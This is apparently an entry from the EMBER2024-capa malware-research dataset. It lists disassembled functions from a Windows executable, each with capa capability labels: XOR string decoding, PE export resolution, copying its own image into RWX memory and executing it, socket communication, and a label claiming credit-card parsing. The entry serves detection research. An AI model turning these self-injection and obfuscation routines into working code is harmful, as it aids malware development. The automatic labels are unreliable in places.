joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140075860
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword gs:[0x58]
mov rbp, rcx
mov ecx, 4
mov ebx, r9d
mov rdi, r8
mov rsi, rdx
mov rax, qword [rax]
mov eax, dword [rcx + rax]
cmp dword [0x14038eb30], eax
jg 0x140075913
mov r10, qword [0x14038eb20]
test r10, r10
je 0x1400758c6
mov rax, qword [rsp + 0xa0]
mov r9d, ebx
mov r8, rdi
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbp
call r10
jmp 0x1400758d6
mov ecx, 0x7f
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, 0xc000007a
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov rcx, qword [0x14038e888]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14038eb30]
mov qword [0x14038eb20], rax
call fcn.1400c4918
jmp 0x14007589c
lea rcx, [0x14038eb30]
call fcn.1400c4984
cmp dword [0x14038eb30], 0xffffffff
jne 0x14007589c
mov eax, dword [0x14014de78]
xor r8d, r8d
cmp dword [0x14016a1d8], 2
movups xmm0, xmmword [str.EbA_ASTLoSIHH_S_r___6_F]
mov dword [rsp + 0x50], eax
movzx eax, word [0x14014de7c]
mov word [rsp + 0x54], ax
movzx eax, byte [0x14014de7e]
mov byte [rsp + 0x56], al
movups xmmword [rsp + 0x40], xmm0
jl 0x140075aa2
movdqa xmm0, xmmword [str.00000000000000004444444444444444]
lea rcx, [rsp + 0x44]
movdqa xmm4, xmmword [0x14014e230]
movdqa xmm3, xmmword [0x14014e450]
movdqa xmm5, xmmword [0x14014e260]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x30]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x14014e290]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400759b0
movaps xmm6, xmmword [rsp + 0x60]
cmp r8d, 0x17
jge 0x1400758ec
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140075ab0
jmp 0x1400758ec
Function at 0x140075af0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rdx
test rcx, rcx
je 0x140075c93
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140075c93
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140075c93
mov edx, 0x20b
cmp word [rax + rcx + 0x18], dx
jne 0x140075c93
mov qword [rbx], rcx
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
mov qword [rsp + 0x40], rdi
mov qword [rbx + 8], rcx
xor edi, edi
mov qword [rsp + 0x48], r14
lea rax, [rcx + 0x18]
mov qword [rbx + 0x18], rax
lea rdx, [rcx + 4]
mov qword [rbx + 0x10], rdx
lea rax, [rcx + 0x88]
mov qword [rbx + 0x20], rax
lea r14, [rcx + 0x18]
lea rax, [rcx + 0x90]
mov qword [rbx + 0x28], rax
lea rax, [rcx + 0x98]
mov qword [rbx + 0x30], rax
lea rax, [rcx + 0xa0]
mov qword [rbx + 0x38], rax
lea rax, [rcx + 0xa8]
mov qword [rbx + 0x40], rax
lea rax, [rcx + 0xb0]
mov qword [rbx + 0x48], rax
lea rax, [rcx + 0xb8]
mov qword [rbx + 0x50], rax
lea rax, [rcx + 0xc0]
mov qword [rbx + 0x58], rax
lea rax, [rcx + 0xc8]
mov qword [rbx + 0x60], rax
lea rax, [rcx + 0xd0]
mov qword [rbx + 0x68], rax
lea rax, [rcx + 0xd8]
mov qword [rbx + 0x70], rax
lea rax, [rcx + 0xe0]
mov qword [rbx + 0x78], rax
lea rax, [rcx + 0xe8]
mov qword [rbx + 0x80], rax
lea rax, [rcx + 0xf0]
mov qword [rbx + 0x88], rax
lea rax, [rcx + 0xf8]
mov qword [rbx + 0x90], rax
lea rax, [rcx + 0x100]
mov qword [rbx + 0x98], rax
movzx eax, word [rcx + 0x14]
add r14, rax
cmp di, word [rdx + 2]
jae 0x140075c81
mov qword [rsp + 0x38], rsi
nop dword [rax]
mov rdx, qword [rbx + 0xa8]
movsxd rax, edi
lea rcx, [rax + rax*4]
lea rax, [r14 + rcx*8]
mov qword [rsp + 0x30], rax
cmp rdx, qword [rbx + 0xb0]
je 0x140075c5d
mov qword [rdx], rax
add qword [rbx + 0xa8], 8
jmp 0x140075c6e
lea r8, [rsp + 0x30]
lea rcx, [rbx + 0xa0]
call fcn.140075ca0
mov rax, qword [rbx + 0x10]
inc edi
movzx ecx, word [rax + 2]
cmp edi, ecx
jl 0x140075c30
mov rsi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x48]
mov al, 1
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop rbx
ret
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400766f0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x10], xmm0
mov qword [rbp], 0
lea rdx, [rsp + 0x50]
call fcn.140075af0
mov r12, qword [rbp - 0x10]
test al, al
je 0x1400768a1
mov eax, dword [0x14014dee8]
mov dword [rbp + 0x48], eax
movzx eax, word [0x14014deec]
mov word [rbp + 0x4c], ax
mov byte [rbp + 0x48], 0x2e
xor byte [rbp + 0x49], 0x31
xor byte [rbp + 0x4a], 0x32
xor byte [rbp + 0x4b], 0x33
xor al, 0x34
mov byte [rbp + 0x4c], al
xor byte [rbp + 0x4d], 0x35
mov rbx, r12
mov rdi, qword [rbp - 8]
cmp r12, rdi
je 0x140076793
nop dword [rax]
mov rsi, qword [rbx]
mov r8d, 8
lea rdx, [rbp + 0x48]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140076795
add rbx, 8
cmp rbx, rdi
jne 0x140076770
xor esi, esi
mov eax, dword [0x14014dee0]
mov dword [rbp + 0x50], eax
movzx eax, word [0x14014dee4]
mov word [rbp + 0x54], ax
movzx eax, byte [0x14014dee6]
mov byte [rbp + 0x50], 0x2e
xor byte [rbp + 0x51], 0x31
xor byte [rbp + 0x52], 0x32
xor byte [rbp + 0x53], 0x33
xor byte [rbp + 0x54], 0x34
xor byte [rbp + 0x55], 0x35
xor al, 0x36
mov byte [rbp + 0x56], al
mov rbx, r12
cmp r12, rdi
je 0x140076803
nop word [rax + rax]
mov r14, qword [rbx]
mov r8d, 8
lea rdx, [rbp + 0x50]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140076806
add rbx, 8
cmp rbx, rdi
jne 0x1400767e0
xor r14d, r14d
mov eax, dword [0x14014def0]
mov dword [rbp + 0x48], eax
movzx eax, word [0x14014def4]
mov word [rbp + 0x4c], ax
mov byte [rbp + 0x48], 0x2e
xor byte [rbp + 0x49], 0x31
xor byte [rbp + 0x4a], 0x32
xor byte [rbp + 0x4b], 0x33
xor byte [rbp + 0x4c], 0x34
xor byte [rbp + 0x4d], 0x35
mov rbx, r12
cmp r12, rdi
je 0x140076863
nop word [rax + rax]
mov r15, qword [rbx]
mov r8d, 8
lea rdx, [rbp + 0x48]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140076866
add rbx, 8
cmp rbx, rdi
jne 0x140076840
xor r15d, r15d
test rsi, rsi
je 0x1400768a1
cmp rsi, r14
jae 0x1400768a1
cmp r14, r15
jae 0x1400768a1
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
mov eax, dword [r14 + 0xc]
mov rcx, qword [rsp + 0x48]
div ecx
test edx, edx
jne 0x1400768a1
xor edx, edx
mov eax, dword [r15 + 0xc]
div ecx
test edx, edx
jne 0x1400768a1
mov bl, 1
jmp 0x1400768a3
xor bl, bl
test r12, r12
je 0x1400768e4
mov rdx, qword [rbp]
sub rdx, r12
and rdx, 0xfffffffffffffff8
mov rax, r12
cmp rdx, 0x1000
jb 0x1400768dc
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400768dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.1400c4c78
movzx eax, bl
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140076be0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push rbx
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rbx, rax
call fcn.1400766f0
test al, al
je 0x140076cb8
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
test rbx, rbx
je 0x140076c39
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140076c39
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x140076c39
mov ecx, 0x20b
cmp word [rax + rbx + 0x18], cx
jne 0x140076c39
mov ecx, dword [rax + rbx + 0x50]
jmp 0x140076c3b
xor ecx, ecx
mov esi, ecx
mov r9d, 0x40
mov edx, ecx
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x140076ca1
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [0x140075e60]
mov rcx, rdi
sub rdx, rbx
add rdx, rdi
call rdx
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call fcn.140076910
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140076c94
cmp rbx, 1
jne 0x140076cac
call fcn.140001550
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
Function at 0x14007f748
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
test eax, eax
jns 0x14007f794
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14007f770
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x14007f7b4
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14007f7ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14007f7d4
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x14007f818
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rsi
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14007f862
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14007f838
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x14007f87c
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
movsxd rbx, eax
test eax, eax
jns 0x14007f8c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14007f8a4
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
Function at 0x14007f8e8
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rdi, qword [rcx + 0x20]
mov rsi, qword [rcx + 0x18]
mov rbp, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov ecx, dword [r15]
mov r9, rsi
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rbp
mov rdx, r14
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14007f93e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14007f913
mov rbp, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x14008ca98
Capabilities:
Connect socket
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rsi, rdx
mov dword [rax + 8], 1
mov rbx, r8
mov rdi, rcx
mov rcx, rsi
lea r8, [rax + 8]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rbx + 0x10]
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x14008cb29
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x14008cb02
mov rax, qword [rdi + 8]
mov dword [rax], 2
xor al, al
jmp 0x14008cbed
mov r8, qword [rdi + 0x18]
mov rcx, rsi
mov rdx, qword [rdi + 0x10]
mov r8, qword [r8]
mov rdx, qword [rdx]
call fcn.1400a0dbc
mov ecx, eax
mov rax, qword [rdi + 8]
mov dword [rax], ecx
mov rax, qword [rdi + 8]
cmp dword [rax], 0
jne 0x14008cafb
and dword [rsp + 0x40], 0
lea r8, [rsp + 0x40]
mov edx, 0x8004667e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rax, qword [rdi + 0x28]
lea r9, [rsp + 0x40]
movabs r14, 0x20c49ba5e353f7cf
mov dword [rsp + 0x20], 4
mov ebx, 0xffff
mov r8d, 0x1006
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, qword [rdi + 0x20]
imul ecx, dword [rax], 0x3e8
add edx, ecx
mov rcx, rsi
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rax, qword [rdi + 0x38]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x20], 4
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
mov rcx, qword [rdi + 0x30]
imul r8d, dword [rcx], 0x3e8
mov rcx, rsi
add edx, r8d
mov r8d, 0x1005
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 8]
mov al, 1
and dword [rcx], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140090620
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
xor al, al
mov ecx, dword [rcx + 0x7c]
cmp ecx, 0xffffffff
je 0x1400907ad
cmp ecx, 0x7c
je 0x1400907ad
cmp ecx, 0x29
jne 0x14009069a
cmp dword [rdi + 0x1c], 0
jne 0x1400907ad
lea rbx, [rdi + 0x80]
test dword [rbx], 0x10000000
je 0x1400907c6
cmp ecx, 0x5d
jne 0x140090677
test dword [rbx], 0x10000000
je 0x1400907d4
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.14008fc14
mov rcx, rdi
call fcn.1400946e4
mov rcx, rdi
call fcn.140094758
mov ecx, dword [rdi + 0x7c]
mov al, 1
jmp 0x140090632
lea rbx, [rdi + 0x80]
cmp ecx, 0x2e
jne 0x1400906b1
lea rcx, [rdi + 0x40]
call fcn.14008fe9c
jmp 0x140090683
cmp ecx, 0x5c
jne 0x1400906ff
mov rcx, rdi
call fcn.1400946e4
test byte [rbx], 0x80
je 0x1400906f5
mov al, byte [rdi + 0x78]
cmp al, 0x62
jne 0x1400906dd
lea rcx, [rdi + 0x40]
call fcn.140090614
mov rcx, rdi
call fcn.1400946e4
jmp 0x140090693
cmp al, 0x42
jne 0x1400906f5
lea rcx, [rdi + 0x40]
call fcn.140090614
lea rcx, [rdi + 0x40]
call fcn.140094680
jmp 0x1400906d3
mov rcx, rdi
call fcn.1400907f0
jmp 0x14009068b
cmp ecx, 0x5b
jne 0x14009072a
mov rcx, rdi
call fcn.1400946e4
mov rcx, rdi
call fcn.1400911f8
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.140092ed4
jmp 0x14009068b
cmp ecx, 0x28
jne 0x14009075f
mov rcx, rdi
call fcn.1400946e4
mov rcx, rdi
call fcn.140094f0c
mov edx, 0x29
mov rcx, rdi
mov bl, al
lea r8d, [rdx - 0x24]
call fcn.140092ed4
test bl, bl
je 0x140090693
jmp 0x14009068b
cmp ecx, 0x5e
jne 0x140090772
lea rcx, [rdi + 0x40]
call fcn.14008fc08
jmp 0x1400906d3
cmp ecx, 0x24
jne 0x140090785
lea rcx, [rdi + 0x40]
call fcn.14008ff9c
jmp 0x1400906d3
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x1400907e2
cmp ecx, 0x3f
je 0x1400907e2
cmp ecx, 0x7b
je 0x1400907e2
cmp ecx, 0x7d
jne 0x140090666
test dword [rbx], 0x10000000
je 0x1400907b8
jmp 0x140090677
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 6
mov rcx, rdi
call fcn.140092ec8
int3
mov edx, 5
mov rcx, rdi
call fcn.140092ec8
int3
mov edx, 4
mov rcx, rdi
call fcn.140092ec8
int3
mov edx, 0xa
mov rcx, rdi
call fcn.140092ec8
int3
Function at 0x140096428
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
and dword [rax - 0x38], 0
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], 0
mov dword [rax - 0x38], 1
mov rax, qword [rdx + 0x10]
cmp rax, 0xf
jbe 0x140096494
mov r8b, byte [rsp + 0x60]
mov rdx, rax
call fcn.14007c284
and qword [rbx + 0x10], 0
mov rax, qword [rdi + 0x10]
xor esi, esi
lea r14d, [rsi - 6]
cmp qword [rdi + 0x18], 0x10
jb 0x1400964ac
mov rbp, qword [rdi]
mov rcx, rbp
mov rdi, rbp
jmp 0x1400964b2
mov rbp, rdi
mov rcx, rdi
lea r12, [rax + rcx]
cmp rdi, r12
je 0x1400965d7
lea r8, [0x1400ce990]
shl esi, 8
movzx eax, byte [rbp]
add esi, eax
add r14d, 8
js 0x14009654f
movsxd r13, esi
movsxd rdi, r14d
lea ecx, [r14 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov r15d, edx
imul eax, edx, 0xfffffffa
add r14d, eax
mov rax, r13
mov rcx, rdi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x14009652c
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140096521
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140096545
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.14007c144
lea r8, [0x1400ce990]
sub rdi, 6
sub r15, 1
jne 0x1400964f2
inc rbp
cmp rbp, r12
jne 0x1400964c6
cmp r14d, 0xfffffffa
jle 0x1400965d7
lea ecx, [r14 + 8]
shl esi, 8
movsxd rax, esi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x1400965c5
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140096594
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400965d7
cmp rcx, qword [rbx + 0x18]
jae 0x1400965c2
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400965ba
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x1400965d7
mov r9b, 0x3d
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.14007c144
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x14009659f
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140099ea8
Capabilities:
Resolve dns

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x470
mov rax, qword [0x14016a180]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov r14d, 2
mov rsi, r9
mov rdi, r8
mov ebp, edx
mov rbx, rcx
cmp word [rcx], r14w
je 0x140099ee9
cmp word [rcx], 0x17
jne 0x140099f8d
movzx ecx, word [rcx + 2]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
xor edx, edx
mov dword [rsi], eax
lea rcx, [rsp + 0x50]
mov esi, 0x401
mov r8d, esi
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], r14d
lea r8, [rsp + 0x50]
xor r14d, r14d
mov r9d, esi
mov dword [rsp + 0x28], r14d
mov edx, ebp
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x140099f8d
lea rax, [rsp + 0x50]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140099f3e
cmp rbx, qword [rdi + 0x18]
ja 0x140099f74
cmp qword [rdi + 0x18], 0x10
mov rsi, rdi
jb 0x140099f5a
mov rsi, qword [rdi]
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x50]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], r14b
jmp 0x140099f89
mov r8b, byte [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rbx
mov rcx, rdi
call fcn.14007c038
mov al, 1
jmp 0x140099f8f
xor al, al
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.1400c5160
add rsp, 0x470
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140099fb0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x140099fbc
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x14016a180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x14009a011
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.140099ea8
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400c5160
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret

Function at 0x140099fbc
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x140099fbc
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x14016a180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x14009a011
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.140099ea8
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400c5160
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret